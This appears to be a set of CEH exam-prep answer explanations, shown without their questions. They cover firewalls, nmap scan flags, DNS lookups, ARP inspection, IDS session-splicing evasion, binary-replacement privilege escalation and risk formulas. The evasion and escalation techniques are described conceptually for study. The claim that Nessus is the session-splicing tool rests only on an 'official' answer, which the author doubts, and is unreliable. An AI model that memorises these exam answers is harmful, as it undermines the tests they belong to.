Network-based application firewalls operate at the application layer of a TCP/IP stack. They can understand certain applications and protocols such as File Transfer Protocol (FTP), Domain Name System (DNS), or Hypertext Transfer Protocol (HTTP). This allows it to identify unwanted applications or services using a non-standard port or detect if an allowed protocol is being abused.

Host-based application firewalls

A host-based application firewall monitors application system calls or other general system communication. This gives more granularity and control but is limited to only protecting the host it is running on. Control is applied by filtering on a per-process basis. Generally, prompts are used to define rules for processes that have not yet received a connection. Further filtering can be done by examining the process ID of the owner of the data packets. Many host-based application firewalls are combined or used in conjunction with a packet filter.

https://nmap.org/book/man-port-specification.html

NOTE: In my opinion, this is an absolutely wrong statement of the question. But you may come across a question with a similar wording on the exam. What does "fast" mean? If we want to increase the speed and intensity of the scan we can select the mode using the -T flag (0/1/2/3/4/5). At high -T values, we will sacrifice stealth and gain speed, but we will not limit functionality.

«nmap -T4 -F 10.10.0.0/24» This option is "correct" because of the -F flag.

-F (Fast (limited port) scan)

Specifies that you wish to scan fewer ports than the default. Normally Nmap scans the most common 1,000 ports for each scanned protocol. With -F, this is reduced to 100.

Technically, scanning will be faster, but just because we have reduced the number of ports by 10 times, we are just doing 10 times less work, not faster.

Social engineering is the term used for a broad range of malicious activities accomplished through human interactions. It uses psychological manipulation to trick users into making security mistakes or giving away sensitive information.

Social engineering attacks typically involve some form of psychological manipulation, fooling otherwise unsuspecting users or employees into handing over confidential or sensitive data. Commonly, social engineering involves email or other communication that invokes urgency, fear, or similar emotions in the victim, leading the victim to promptly reveal sensitive information, click a malicious link, or open a malicious file. Because social engineering involves a human element, preventing these attacks can be tricky for enterprises.

Most likely have an issue with DNS.

DNS stands for “Domain Name System.” It’s a system that lets you connect to websites by matching human-readable domain names (like example.com) with the server's unique ID where a website is stored.

Think of the DNS system as the internet’s phonebook. It lists domain names with their corresponding identifiers called IP addresses, instead of listing people’s names with their phone numbers. When a user enters a domain name like wpbeginner.com on their device, it looks up the IP address and connects them to the physical location where that website is stored.

NOTE: Often DNS lookup information will be cached locally inside the querying computer or remotely in the DNS infrastructure. There are typically 8 steps in a DNS lookup. When DNS information is cached, steps are skipped from the DNS lookup process, making it quicker. The example below outlines all 8 steps when nothing is cached.

The 8 steps in a DNS lookup:

1. A user types ‘example.com’ into a web browser, and the query travels into the Internet and is received by a DNS recursive resolver;

2. The resolver then queries a DNS root nameserver;

3. The root server then responds to the resolver with the address of a Top-Level Domain (TLD) DNS server (such as .com or .net), which stores the information for its domains. When searching for example.com, our request is pointed toward the .com TLD;

4. The resolver then requests the .com TLD;

5. The TLD server then responds with the IP address of the domain’s nameserver, example.com;

6. Lastly, the recursive resolver sends a query to the domain’s nameserver;

7. The IP address for example.com is then returned to the resolver from the nameserver;

8. The DNS resolver then responds to the web browser with the IP address of the domain requested initially;

Once the 8 steps of the DNS lookup have returned the IP address for example.com, the browser can request the web page:

9. The browser makes an HTTP request to the IP address;

10. The server at that IP returns the webpage to be rendered in the browser.

NOTE 2: DNS primarily uses the User Datagram Protocol (UDP) on port number 53 to serve requests. And if this port is blocked, then a problem arises already in the first step. But the ninth step is performed without problems.

Dynamic ARP inspection (DAI) protects switching devices against Address Resolution Protocol (ARP) packet spoofing (also known as ARP poisoning or ARP cache poisoning).

DAI inspects ARPs on the LAN and uses the information in the DHCP snooping database on the switch to validate ARP packets and to protect against ARP spoofing. ARP requests and replies are compared against entries in the DHCP snooping database, and filtering decisions are made based on the results of those comparisons. When an attacker tries to use a forged ARP packet to spoof an address, the switch compares the address with entries in the database. If the media access control (MAC) address or IP address in the ARP packet does not match a valid entry in the DHCP snooping database, the packet is dropped.

Brute-force attack when an attacker uses a set of predefined values to attack a target and analyze the response until he succeeds. Success depends on the set of predefined values. It will take more time if it is larger, but there is a better probability of success. In a traditional brute-force attack, the passcode or password is incrementally increased by one letter/number each time until the right passcode/password is found.

https://en.wikipedia.org/wiki/Presentation_layer

In the seven-layer OSI model of computer networking, the presentation layer is layer 6 and serves as the data translator for the network. It is sometimes called the syntax layer. The presentation layer is responsible for the formatting and delivery of information to the application layer for further processing or display.

Encryption is typically done at this level too, although it can be done on the application, session, transport, or network layers, each having its own advantages and disadvantages. Decryption is also handled at the presentation layer. For example, when logging on to bank account sites the presentation layer will decrypt the data as it is received.

«Many IDS reassemble communication streams; hence, if a packet is not received within a reasonable period, many IDS stop reassembling and handling that stream. If the application under attack keeps a session active for a longer time than that spent by the IDS on reassembling it, the IDS will stop. As a result, any session after the IDS stops reassembling the sessions will be susceptible to malicious data theft by attackers. The IDS will not log any attack attempt after a successful splicing attack. Attackers can use tools such as Nessus for session splicing attacks.»

Did you know that the EC-Council exam shows how well you know their official book? So, there is no "Whisker" in it. In the chapter "Evading IDS" -> "Session Splicing", the recommended tool for performing a session-splicing attack is Nessus. Where Wisker came from is not entirely clear, but I will assume the author of the question found it while copying Wikipedia.

https://en.wikipedia.org/wiki/Intrusion_detection_system_evasion_techniques

One basic technique is to split the attack payload into multiple small packets so that the IDS must reassemble the packet stream to detect the attack. A simple way of splitting packets is by fragmenting them, but an adversary can also simply craft packets with small payloads. The 'whisker' evasion tool calls crafting packets with small payloads 'session splicing'.

By itself, small packets will not evade any IDS that reassembles packet streams. However, small packets can be further modified in order to complicate reassembly and detection. One evasion technique is to pause between sending parts of the attack, hoping that the IDS will time out before the target computer does. A second evasion technique is to send the packets out of order, confusing simple packet re-assemblers but not the target computer.

NOTE: Yes, I found scraps of information about the tool that existed in 2012, but I can not give you unverified information. According to the official tutorials, the correct answer is Nessus, but if you know anything about Wisker, please write in the QA section. Maybe this question will be updated soon, but I'm not sure about that.

https://tools.kali.org/information-gathering/hping3

http://www.carnal0wnage.com/papers/LSO-Hping2-Basics.pdf

https://en.wikipedia.org/wiki/Nikto_(vulnerability_scanner)

Nikto is a free software command-line vulnerability scanner that scans web servers for dangerous files/CGIs, outdated server software, and other problems. It performs generic and server types specific checks. It also captures and prints any cookies received. The Nikto code itself is free software, but the data files it uses to drive the program are not.

A powerful and often the most effective cryptanalysis method in which the attack is directed at the most vulnerable link in the cryptosystem - the person. In this attack, the cryptanalyst uses blackmail, threats, torture, extortion, bribery, etc. This method's main advantage is the decryption time's fundamental independence from the volume of secret information, the length of the key, and the cipher's mathematical strength.

The method can reduce the time to guess a password, for example, for AES, to an acceptable level; however, it requires special authorization from the relevant regulatory authorities. Therefore, it is outside the scope of this course and is not considered in its practical part.

https://en.wikipedia.org/wiki/Kismet_(software)

Kismet is a network detector, packet sniffer, and intrusion detection system for 802.11 wireless LANs. Kismet will work with any wireless card which supports raw monitoring mode, and can sniff 802.11a, 802.11b, 802.11g, and 802.11n traffic.

Many network and system administrators don't pay enough attention to system clock accuracy and time synchronization. Computer clocks can run faster or slower over time, batteries and power sources die, or daylight-saving time changes are forgotten. Sure, there are many more pressing security issues to deal with, but not ensuring that the time on network devices is synchronized can cause problems. And these problems often only come to light after a security incident.

If you suspect a hacker is accessing your network, for example, you will want to analyze your log files to look for any suspicious activity. If your network's security devices do not have synchronized times, the timestamps' inaccuracy makes it impossible to correlate log files from different sources. Not only will you have difficulty in tracking events, but you will also find it difficult to use such evidence in court; you won't be able to illustrate a smooth progression of events as they occurred throughout your network.

File system permissions

Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

The Domain Name System Security Extensions (DNSSEC) is a suite of Internet Engineering Task Force (IETF) specifications for securing certain kinds of information provided by DNS for use on IP networks. DNSSEC is a set of extensions to DNS provide to DNS clients (resolvers) origin authentication of DNS data, authenticated denial of existence, and data integrity, but not availability or confidentiality. DNSSEC is necessary because the original DNS design did not include security but was designed to be a scalable distributed system. DNSSEC adds security while maintaining backward compatibility.

1. AV (Asset value) = $300 + (14 * $10) = $440 - the cost of a hard drive plus the work of a recovery person, i.e.how much would it take to replace 1 asset? 10 hours for resorting the OS and soft + 4 hours for DB restore multiplies by hourly rate of the recovery person.

2. SLE (Single Loss Expectancy) = AV * EF (Exposure Factor) = $440 * 1 = $440

3. ARO (Annual rate of occurrence) = 1/3 (every three years, meaning the probability of occurring during 1 years is 1/3)

4. ALE (Annual Loss Expectancy) = SLE * ARO = 0.33 * $440 = $145.2

Cyber Kill Chain Methodology 1. Reconnaissance - Gathering information about the target.

https://en.wikipedia.org/wiki/IPsec

Internet Protocol Security (IPsec) is a secure network protocol suite that authenticates and encrypts the packets of data to provide secure encrypted communication between two computers over an Internet Protocol network. It is used in virtual private networks (VPNs).

IPsec includes protocols for establishing mutual authentication between agents at the beginning of a session and negotiation of cryptographic keys to use during the session. IPsec can protect data flows between a pair of hosts (host-to-host), between a pair of security gateways (network-to-network), or between a security gateway and a host (network-to-host). IPsec uses cryptographic security services to protect communications over Internet Protocol (IP) networks. It supports network-level peer authentication, data-origin authentication, data integrity, data confidentiality (encryption), and replay protection.

The initial IPv4 suite was developed with few security provisions. As a part of the IPv4 enhancement, IPsec is a layer 3 OSI model or internet layer end-to-end security scheme. In contrast, while some other Internet security systems in widespread use operate above layer 3, such as Transport Layer Security (TLS) that operates at the Transport Layer and Secure Shell (SSH) that operates at the Application layer, IPsec can automatically secure applications at the IP layer.